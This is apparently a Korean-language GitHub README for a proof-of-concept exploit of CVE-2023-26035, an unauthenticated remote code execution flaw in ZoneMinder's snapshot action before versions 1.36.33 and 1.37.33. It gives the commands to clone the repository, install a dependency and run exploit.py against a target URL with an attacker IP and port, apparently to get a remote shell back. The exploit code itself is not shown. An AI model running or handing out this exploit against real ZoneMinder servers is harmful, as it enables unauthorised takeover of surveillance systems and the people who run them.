rvzsec/cve-2023-26035ZoneMinder Snapshots에서의 인증되지 않은 RCE - Poc Exploit
인증되지 않은 ZoneMinder 스냅샷의 RCE - PoC 익스플로잇
이미지
1.36.33 및 1.37.33 이전의 ZoneMinder 버전은 스냅샷 작업에서 인증 검사가 누락되어 인증되지 않은 원격 코드 실행(RCE)에 취약합니다.
git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
python3 exploit.py
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
pip3 install beautifulsoup4
UnblvR이 이 취약점을 발견했습니다.